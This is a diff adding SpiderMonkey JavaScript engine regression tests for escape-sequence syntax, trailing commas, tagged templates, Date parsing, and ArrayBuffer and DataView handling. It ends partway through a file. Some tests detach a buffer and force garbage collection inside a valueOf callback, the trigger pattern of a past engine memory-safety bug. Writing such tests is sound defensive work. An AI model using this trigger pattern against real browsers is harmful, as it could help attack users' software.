diff --git a/js/src/tests/non262/expressions/string-literal-escape-sequences.js b/js/src/tests/non262/expressions/string-literal-escape-sequences.js
new file mode 100644
index 0000000000..bc50b2c855
--- /dev/null
+++ b/js/src/tests/non262/expressions/string-literal-escape-sequences.js
@@ -0,0 +1,146 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 663300;
+var summary =
+ "\\u and \\x must be followed by the appropriate number of hex digits or " +
+ "else it is a syntax error";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectSyntaxError(str)
+{
+ try
+ {
+ eval(str);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating " + str);
+ }
+}
+
+expectSyntaxError('"\\x"');
+expectSyntaxError('"\\x0"');
+expectSyntaxError('"\\x1"');
+expectSyntaxError('"\\x2"');
+expectSyntaxError('"\\x3"');
+expectSyntaxError('"\\x4"');
+expectSyntaxError('"\\x5"');
+expectSyntaxError('"\\x6"');
+expectSyntaxError('"\\x7"');
+expectSyntaxError('"\\x8"');
+expectSyntaxError('"\\x9"');
+expectSyntaxError('"\\xA"');
+expectSyntaxError('"\\xB"');
+expectSyntaxError('"\\xC"');
+expectSyntaxError('"\\xD"');
+expectSyntaxError('"\\xE"');
+expectSyntaxError('"\\xF"');
+expectSyntaxError('"\\xG"');
+expectSyntaxError('"\\x0G"');
+expectSyntaxError('"\\x1G"');
+expectSyntaxError('"\\x2G"');
+expectSyntaxError('"\\x3G"');
+expectSyntaxError('"\\x4G"');
+expectSyntaxError('"\\x5G"');
+expectSyntaxError('"\\x6G"');
+expectSyntaxError('"\\x7G"');
+expectSyntaxError('"\\x8G"');
+expectSyntaxError('"\\x9G"');
+expectSyntaxError('"\\xAG"');
+expectSyntaxError('"\\xBG"');
+expectSyntaxError('"\\xCG"');
+expectSyntaxError('"\\xDG"');
+expectSyntaxError('"\\xEG"');
+expectSyntaxError('"\\xFG"');
+expectSyntaxError('"\\xGG"');
+
+expectSyntaxError('"\\u"');
+expectSyntaxError('"\\u0"');
+expectSyntaxError('"\\u1"');
+expectSyntaxError('"\\u2"');
+expectSyntaxError('"\\u3"');
+expectSyntaxError('"\\u4"');
+expectSyntaxError('"\\u5"');
+expectSyntaxError('"\\u6"');
+expectSyntaxError('"\\u7"');
+expectSyntaxError('"\\u8"');
+expectSyntaxError('"\\u9"');
+expectSyntaxError('"\\uA"');
+expectSyntaxError('"\\uB"');
+expectSyntaxError('"\\uC"');
+expectSyntaxError('"\\uD"');
+expectSyntaxError('"\\uE"');
+expectSyntaxError('"\\uF"');
+expectSyntaxError('"\\uG"');
+expectSyntaxError('"\\u00"');
+expectSyntaxError('"\\u11"');
+expectSyntaxError('"\\u22"');
+expectSyntaxError('"\\u33"');
+expectSyntaxError('"\\u44"');
+expectSyntaxError('"\\u55"');
+expectSyntaxError('"\\u66"');
+expectSyntaxError('"\\u77"');
+expectSyntaxError('"\\u88"');
+expectSyntaxError('"\\u99"');
+expectSyntaxError('"\\uAA"');
+expectSyntaxError('"\\uBB"');
+expectSyntaxError('"\\uCC"');
+expectSyntaxError('"\\uDD"');
+expectSyntaxError('"\\uEE"');
+expectSyntaxError('"\\uFF"');
+expectSyntaxError('"\\uGG"');
+expectSyntaxError('"\\u000"');
+expectSyntaxError('"\\u111"');
+expectSyntaxError('"\\u222"');
+expectSyntaxError('"\\u333"');
+expectSyntaxError('"\\u444"');
+expectSyntaxError('"\\u555"');
+expectSyntaxError('"\\u666"');
+expectSyntaxError('"\\u777"');
+expectSyntaxError('"\\u888"');
+expectSyntaxError('"\\u999"');
+expectSyntaxError('"\\uAAA"');
+expectSyntaxError('"\\uBBB"');
+expectSyntaxError('"\\uCCC"');
+expectSyntaxError('"\\uDDD"');
+expectSyntaxError('"\\uEEE"');
+expectSyntaxError('"\\uFFF"');
+expectSyntaxError('"\\uGGG"');
+expectSyntaxError('"\\u000G"');
+expectSyntaxError('"\\u111G"');
+expectSyntaxError('"\\u222G"');
+expectSyntaxError('"\\u333G"');
+expectSyntaxError('"\\u444G"');
+expectSyntaxError('"\\u555G"');
+expectSyntaxError('"\\u666G"');
+expectSyntaxError('"\\u777G"');
+expectSyntaxError('"\\u888G"');
+expectSyntaxError('"\\u999G"');
+expectSyntaxError('"\\uAAAG"');
+expectSyntaxError('"\\uBBBG"');
+expectSyntaxError('"\\uCCCG"');
+expectSyntaxError('"\\uDDDG"');
+expectSyntaxError('"\\uEEEG"');
+expectSyntaxError('"\\uFFFG"');
+expectSyntaxError('"\\uGGGG"');
+
+assertEq(eval('"a\\\rb"'), "ab");
+assertEq(eval('"a\\\nb"'), "ab");
+assertEq(eval('"a\\\r\nb"'), "ab");
+assertEq(eval('"a\\\u2028b"'), "ab");
+assertEq(eval('"a\\\u2029b"'), "ab");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/expressions/tagged-template-constant-folding.js b/js/src/tests/non262/expressions/tagged-template-constant-folding.js
new file mode 100644
index 0000000000..6041cbc161
--- /dev/null
+++ b/js/src/tests/non262/expressions/tagged-template-constant-folding.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1182373;
+var summary =
+ "Don't let constant-folding in the MemberExpression part of a tagged " +
+ "template cause an incorrect |this| be passed to the callee";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var prop = "global";
+
+var obj = { prop: "obj", f: function() { return this.prop; } };
+
+assertEq(obj.f``, "obj");
+assertEq((true ? obj.f : null)``, "global");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/trailing_comma_arguments.js b/js/src/tests/non262/expressions/trailing_comma_arguments.js
new file mode 100644
index 0000000000..612fd46a13
--- /dev/null
+++ b/js/src/tests/non262/expressions/trailing_comma_arguments.js
@@ -0,0 +1,85 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma in Arguments production.
+
+// 12.3 Left-Hand-Side Expressions
+// Arguments[Yield]:
+// ()
+// ( ArgumentList[?Yield] )
+// ( ArgumentList[?Yield] , )
+
+
+function argsLength() {
+ return {value: arguments.length};
+}
+function sum(...rest) {
+ return {value: rest.reduce((a, c) => a + c, 0)};
+}
+
+function call(f, argList) {
+ return eval(`(${f}(${argList})).value`);
+}
+
+function newCall(F, argList) {
+ return eval(`(new ${F}(${argList})).value`);
+}
+
+function superCall(superClass, argList) {
+ return eval(`(new class extends ${superClass} {
+ constructor() {
+ super(${argList});
+ }
+ }).value`);
+}
+
+// Ensure the correct number of arguments is passed.
+for (let type of [call, newCall, superCall]) {
+ let test = type.bind(null, "argsLength");
+
+ assertEq(test("10, "), 1);
+ assertEq(test("10, 20, "), 2);
+ assertEq(test("10, 20, 30, "), 3);
+ assertEq(test("10, 20, 30, 40, "), 4);
+
+ assertEq(test("...[10, 20], "), 2);
+ assertEq(test("...[10, 20], 30, "), 3);
+ assertEq(test("...[10, 20], ...[30], "), 3);
+}
+
+// Ensure the arguments themselves are passed correctly.
+for (let type of [call, newCall, superCall]) {
+ let test = type.bind(null, "sum");
+
+ assertEq(test("10, "), 10);
+ assertEq(test("10, 20, "), 30);
+ assertEq(test("10, 20, 30, "), 60);
+ assertEq(test("10, 20, 30, 40, "), 100);
+
+ assertEq(test("...[10, 20], "), 30);
+ assertEq(test("...[10, 20], 30, "), 60);
+ assertEq(test("...[10, 20], ...[30], "), 60);
+}
+
+// Error cases.
+for (let type of [call, newCall, superCall]) {
+ let test = type.bind(null, "f");
+
+ // Trailing comma in empty arguments list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, , "), SyntaxError);
+ assertThrowsInstanceOf(() => test("...a, , "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/trailing_comma_arrow.js b/js/src/tests/non262/expressions/trailing_comma_arrow.js
new file mode 100644
index 0000000000..f36b476ef4
--- /dev/null
+++ b/js/src/tests/non262/expressions/trailing_comma_arrow.js
@@ -0,0 +1,108 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma in CoverParenthesizedExpressionAndArrowParameterList production.
+
+// 12.2 Primary Expression
+// CoverParenthesizedExpressionAndArrowParameterList[Yield]:
+// ( Expression[In, ?Yield] )
+// ( Expression[In, ?Yield] , )
+// ()
+// ( ...BindingIdentifier[?Yield] )
+// ( Expression[In, ?Yield] , ...BindingIdentifier[?Yield] )
+
+
+function arrow(argList, parameters = "", returnExpr = "") {
+ return eval(`
+ let fun = (${argList}) => {
+ return ${returnExpr};
+ }
+ fun(${parameters});
+ `);
+}
+
+function arrowConcise(argList, parameters = "", returnExpr = "null") {
+ return eval(`
+ let fun = (${argList}) => ${returnExpr};
+ fun(${parameters});
+ `);
+}
+
+const tests = [
+ arrow,
+ arrowConcise,
+];
+
+// Ensure parameters are passed correctly.
+for (let test of tests) {
+ assertEq(test("a, ", "10", "a"), 10);
+ assertEq(test("a, b, ", "10, 20", "a + b"), 30);
+ assertEq(test("a = 30, ", "", "a"), 30);
+ assertEq(test("a = 30, b = 40, ", "", "a + b"), 70);
+
+ assertEq(test("[a], ", "[10]", "a"), 10);
+ assertEq(test("[a], [b], ", "[10], [20]", "a + b"), 30);
+ assertEq(test("[a] = [30], ", "", "a"), 30);
+ assertEq(test("[a] = [30], [b] = [40], ", "", "a + b"), 70);
+
+ assertEq(test("{a}, ", "{a: 10}", "a"), 10);
+ assertEq(test("{a}, {b}, ", "{a: 10}, {b: 20}", "a + b"), 30);
+ assertEq(test("{a} = {a: 30}, ", "", "a"), 30);
+ assertEq(test("{a} = {a: 30}, {b} = {b: 40}, ", "", "a + b"), 70);
+}
+
+// Ensure function length doesn't change.
+for (let test of tests) {
+ assertEq(test("a, ", "", "fun.length"), 1);
+ assertEq(test("a, b, ", "", "fun.length"), 2);
+
+ assertEq(test("[a], ", "[]", "fun.length"), 1);
+ assertEq(test("[a], [b], ", "[], []", "fun.length"), 2);
+
+ assertEq(test("{a}, ", "{}", "fun.length"), 1);
+ assertEq(test("{a}, {b}, ", "{}, {}", "fun.length"), 2);
+}
+
+for (let test of tests) {
+ // Trailing comma in empty parameters list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, , "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a..., , "), SyntaxError);
+
+ // Trailing comma after rest parameter.
+ assertThrowsInstanceOf(() => test("...a, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a, ...b, "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+// Trailing comma in non-parenthesized arrow head.
+assertThrowsInstanceOf(() => eval("a, => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("a, => null"), SyntaxError);
+
+// Parenthesized expression is not an arrow function expression.
+for (let trail of ["", ";", "\n => {}"]) {
+ assertThrowsInstanceOf(() => eval("(a,)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(a, b,)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(...a, )" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(a, ...b, )" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(a, , b)" + trail), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval("(,)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(, a)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(, ...a)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(a, , )" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(...a, , )" + trail), SyntaxError);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/trailing_comma_getter_setter.js b/js/src/tests/non262/expressions/trailing_comma_getter_setter.js
new file mode 100644
index 0000000000..258dd8df61
--- /dev/null
+++ b/js/src/tests/non262/expressions/trailing_comma_getter_setter.js
@@ -0,0 +1,88 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma is not allowed in getter and setter methods
+
+// 14.3 Method Definitions
+// MethodDefinition[Yield]:
+// get PropertyName[?Yield] () { FunctionBody[~Yield] }
+// set PropertyName[?Yield] ( PropertySetParameterList ) { FunctionBody[~Yield] }
+// PropertySetParameterList:
+// FormalParameter[~Yield]
+
+function objectGetter(argList) {
+ return eval(`({
+ get m(${argList}) {}
+ })`);
+}
+
+function objectSetter(argList) {
+ return eval(`({
+ set m(${argList}) {}
+ })`);
+}
+
+function classGetter(argList) {
+ return eval(`(class {
+ get m(${argList}) {}
+ })`);
+}
+
+function classStaticGetter(argList) {
+ return eval(`(class {
+ static get m(${argList}) {}
+ })`);
+}
+
+function classSetter(argList) {
+ return eval(`(class {
+ set m(${argList}) {}
+ })`);
+}
+
+function classStaticSetter(argList) {
+ return eval(`(class {
+ static set m(${argList}) {}
+ })`);
+}
+
+const tests = [
+ objectGetter,
+ objectSetter,
+ classGetter,
+ classStaticGetter,
+ classSetter,
+ classStaticSetter,
+];
+
+for (let test of tests) {
+ // Trailing comma.
+ assertThrowsInstanceOf(() => test("a, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("[], "), SyntaxError);
+ assertThrowsInstanceOf(() => test("{}, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a = 0, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("[] = [], "), SyntaxError);
+ assertThrowsInstanceOf(() => test("{} = {}, "), SyntaxError);
+
+ // Trailing comma in empty parameters list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, ,"), SyntaxError);
+ assertThrowsInstanceOf(() => test("a..., ,"), SyntaxError);
+
+ // Trailing comma after rest parameter.
+ assertThrowsInstanceOf(() => test("...a ,"), SyntaxError);
+ assertThrowsInstanceOf(() => test("a, ...b, "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/trailing_comma_parameters.js b/js/src/tests/non262/expressions/trailing_comma_parameters.js
new file mode 100644
index 0000000000..d0e756b862
--- /dev/null
+++ b/js/src/tests/non262/expressions/trailing_comma_parameters.js
@@ -0,0 +1,165 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma in functions and methods.
+
+// 14.1 Function Definitions
+// FunctionExpression:
+// function BindingIdentifier[~Yield]opt ( FormalParameters[~Yield] ) { FunctionBody[~Yield] }
+
+// 14.3 Method Definitions
+// MethodDefinition[Yield]:
+// PropertyName[?Yield] ( UniqueFormalParameters[~Yield] ) { FunctionBody[~Yield] }
+// GeneratorMethod[?Yield]
+// PropertySetParameterList:
+// FormalParameter[~Yield]
+
+// 14.4 Generator Function Definitions
+// GeneratorExpression:
+// function * BindingIdentifier[+Yield]opt ( FormalParameters[+Yield] ) { GeneratorBody }
+// GeneratorMethod[Yield]:
+// * PropertyName[?Yield] ( UniqueFormalParameters[+Yield] ) { GeneratorBody }
+
+
+function functionExpression(argList, parameters = "", returnExpr = "") {
+ return eval(`(function f(${argList}) {
+ var fun = f;
+ return ${returnExpr};
+ })(${parameters})`);
+}
+
+function generatorExpression(argList, parameters = "", returnExpr = "") {
+ return eval(`(function* f(${argList}) {
+ var fun = f;
+ return ${returnExpr};
+ })(${parameters}).next().value`);
+}
+
+function objectMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`({
+ m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters})`);
+}
+
+function objectGeneratorMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`({
+ * m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters}).next().value`);
+}
+
+function classMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`(new class {
+ m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters})`);
+}
+
+function classStaticMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`(class {
+ static m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters})`);
+}
+
+function classGeneratorMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`(new class {
+ * m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters}).next().value`);
+}
+
+function classStaticGeneratorMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`(class {
+ static * m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters}).next().value`);
+}
+
+function classConstructorMethod(argList, parameters = "", returnExpr = "null") {
+ return eval(`new (class {
+ constructor(${argList}) {
+ var fun = this.constructor;
+ return { value: ${returnExpr} };
+ }
+ })(${parameters}).value`);
+}
+
+const tests = [
+ functionExpression,
+ generatorExpression,
+ objectMethod,
+ objectGeneratorMethod,
+ classMethod,
+ classStaticMethod,
+ classGeneratorMethod,
+ classStaticGeneratorMethod,
+ classConstructorMethod,
+];
+
+// Ensure parameters are passed correctly.
+for (let test of tests) {
+ assertEq(test("a, ", "10", "a"), 10);
+ assertEq(test("a, b, ", "10, 20", "a + b"), 30);
+ assertEq(test("a = 30, ", "", "a"), 30);
+ assertEq(test("a = 30, b = 40, ", "", "a + b"), 70);
+
+ assertEq(test("[a], ", "[10]", "a"), 10);
+ assertEq(test("[a], [b], ", "[10], [20]", "a + b"), 30);
+ assertEq(test("[a] = [30], ", "", "a"), 30);
+ assertEq(test("[a] = [30], [b] = [40], ", "", "a + b"), 70);
+
+ assertEq(test("{a}, ", "{a: 10}", "a"), 10);
+ assertEq(test("{a}, {b}, ", "{a: 10}, {b: 20}", "a + b"), 30);
+ assertEq(test("{a} = {a: 30}, ", "", "a"), 30);
+ assertEq(test("{a} = {a: 30}, {b} = {b: 40}, ", "", "a + b"), 70);
+}
+
+// Ensure function length doesn't change.
+for (let test of tests) {
+ assertEq(test("a, ", "", "fun.length"), 1);
+ assertEq(test("a, b, ", "", "fun.length"), 2);
+
+ assertEq(test("[a], ", "[]", "fun.length"), 1);
+ assertEq(test("[a], [b], ", "[], []", "fun.length"), 2);
+
+ assertEq(test("{a}, ", "{}", "fun.length"), 1);
+ assertEq(test("{a}, {b}, ", "{}, {}", "fun.length"), 2);
+}
+
+for (let test of tests) {
+ // Trailing comma in empty parameters list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, , "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a..., , "), SyntaxError);
+
+ // Trailing comma after rest parameter.
+ assertThrowsInstanceOf(() => test("...a, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a, ...b, "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/15.9.4.2.js b/js/src/tests/non262/extensions/15.9.4.2.js
new file mode 100644
index 0000000000..91e794d259
--- /dev/null
+++ b/js/src/tests/non262/extensions/15.9.4.2.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 682754;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function iso(d)
+{
+ return new Date(d).toISOString();
+}
+
+function check(s, millis){
+ description = "Date.parse('"+s+"') == '"+iso(millis)+"'";
+ expected = millis;
+ actual = Date.parse(s);
+ reportCompare(expected, actual, description);
+}
+
+function checkInvalid(s)
+{
+ description = "Date.parse('"+s+"') produces invalid date";
+ expected = NaN;
+ actual = Date.parse(s);
+ reportCompare(expected, actual, description);
+}
+
+function dd(year, month, day, hour, minute, second, millis){
+ return Date.UTC(year, month-1, day, hour, minute, second, millis);
+}
+
+function TZAtDate(d){
+ return d.getTimezoneOffset() * 60000;
+}
+
+function TZInMonth(month){
+ return TZAtDate(new Date(dd(2009,month,1,0,0,0,0)));
+}
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+
+ JanTZ = TZInMonth(1);
+ JulTZ = TZInMonth(7);
+ CurrTZ = TZAtDate(new Date());
+
+ // Allow non-standard "-0700" as timezone, not just "-07:00"
+ check("2009-07-23T00:53:21.001-0700", dd(2009,7,23,7,53,21,1));
+}
diff --git a/js/src/tests/non262/extensions/8.12.5-01.js b/js/src/tests/non262/extensions/8.12.5-01.js
new file mode 100644
index 0000000000..b7563a8edb
--- /dev/null
+++ b/js/src/tests/non262/extensions/8.12.5-01.js
@@ -0,0 +1,70 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jason Orendorff
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 523846;
+var summary =
+ "Assignments to a property that has a getter but not a setter should not " +
+ "throw a TypeError per ES5 (at least not until strict mode is supported)";
+var actual = "Early failure";
+var expect = "No errors";
+
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var o = { get p() { return "a"; } };
+
+function test1()
+{
+ o.p = "b"; // strict-mode violation here
+ assertEq(o.p, "a");
+}
+
+function test2()
+{
+ function T() {}
+ T.prototype = o;
+ y = new T();
+ y.p = "b"; // strict-mode violation here
+ assertEq(y.p, "a");
+}
+
+
+var errors = [];
+try
+{
+ try
+ {
+ test1();
+ }
+ catch (e)
+ {
+ errors.push(e);
+ }
+
+ try
+ {
+ test2();
+ }
+ catch (e)
+ {
+ errors.push(e);
+ }
+}
+catch (e)
+{
+ errors.push("Unexpected error: " + e);
+}
+finally
+{
+ actual = errors.length > 0 ? errors.join(", ") : "No errors";
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/ArrayBuffer-slice-arguments-detaching.js b/js/src/tests/non262/extensions/ArrayBuffer-slice-arguments-detaching.js
new file mode 100644
index 0000000000..07cec18aa9
--- /dev/null
+++ b/js/src/tests/non262/extensions/ArrayBuffer-slice-arguments-detaching.js
@@ -0,0 +1,80 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "ArrayBuffer-slice-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "ArrayBuffer.prototype.slice shouldn't misbehave horribly if " +
+ "index-argument conversion detaches the ArrayBuffer being sliced";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testStart()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var start =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x800;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ ab.slice(start);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testStart();
+
+function testEnd()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var end =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x1000;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ ab.slice(0x800, end);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "byteLength weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for byteLength weirdness");
+}
+testEnd();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/Boolean-toSource.js b/js/src/tests/non262/extensions/Boolean-toSource.js
new file mode 100644
index 0000000000..b73b21ae5d
--- /dev/null
+++ b/js/src/tests/non262/extensions/Boolean-toSource.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!Boolean.prototype.toSource)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call(42)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call("")'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call({})'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call(null)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call([])'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call(undefined)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call(new String())'), true);
+
+assertEq(completesNormally('Boolean.prototype.toSource.call(true)'), true);
+assertEq(completesNormally('Boolean.prototype.toSource.call(new Boolean(true))'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/DataView-construct-arguments-detaching.js b/js/src/tests/non262/extensions/DataView-construct-arguments-detaching.js
new file mode 100644
index 0000000000..b542816ee8
--- /dev/null
+++ b/js/src/tests/non262/extensions/DataView-construct-arguments-detaching.js
@@ -0,0 +1,80 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "DataView-construct-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "new DataView(...) shouldn't misbehave horribly if index-argument " +
+ "conversion detaches the ArrayBuffer to be viewed";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testByteOffset()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var start =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x800;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ new DataView(ab, start);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "byteOffset weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for byteOffset weirdness");
+}
+testByteOffset();
+
+function testByteLength()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var len =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x800;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ new DataView(ab, 0x800, len);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "byteLength weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for byteLength weirdness");
+}
+testByteLength();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/DataView-set-arguments-detaching.js b/js/src/tests/non262/extensions/DataView-set-arguments-detaching.js
new file mode 100644
index 0000000000..0f1df608f4
--- /dev/null
+++ b/js/src/tests/non262/extensions/DataView-set-arguments-detaching.js
@@ -0,0 +1,84 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "DataView-set-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "DataView.prototype.set* methods shouldn't misbehave horribly if " +
+ "index-argument conversion detaches the ArrayBuffer being modified";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testIndex()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var dv = new DataView(ab);
+
+ var start =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0xFFF;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ dv.setUint8(start, 0x42);
+ }
